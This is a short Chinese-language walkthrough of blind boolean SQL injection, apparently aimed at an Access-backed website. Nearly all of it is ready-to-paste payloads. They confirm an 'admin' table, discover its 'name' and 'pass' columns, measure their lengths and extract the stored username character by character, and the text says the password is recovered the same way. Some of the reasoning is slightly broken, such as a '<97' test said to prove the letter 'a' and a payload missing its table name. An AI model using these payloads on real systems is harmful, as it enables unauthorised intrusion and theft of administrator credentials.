先猜表:and exists (select *from 表名) and ''='
' and exists(select * from admin) and ''=' 显示正常,说明有admin表。
下面来猜字段
' and exists(select 段名 from admin)and ''='
' and exists(select name from admin) and ''=' 存在字段name
' and exists(select pass from admin) and ''='存在字段pass
下面来猜字段的长度
' and(select top 1 len(name) from )>6 and ''=' 这个用二分法去猜
' and (select top 1 len(name) from admin)=5 and ''=' name字段的长度是5
' and (select top 1 len(pass) from admin)=5 and ''='pass字段长度也是5 应该没有加密过的吧
下面来猜name字段
' and(select top 1 asc(mid(name,1,1)) from admin)<97 and ''=' 显示正常,就说明name第一个字符是a 第二个:
' and(select top 1 asc(mid(name,2,1)) from admin)<97 and ''='
' and(select top 1 asc(mid(name,2,1)) from admin)=100 and ''='
' and(select top 1 mid(name,1,5) from admin)='admin' and ''='显示是正常,那就说明他的name字段应该是admin.密码同上一样去猜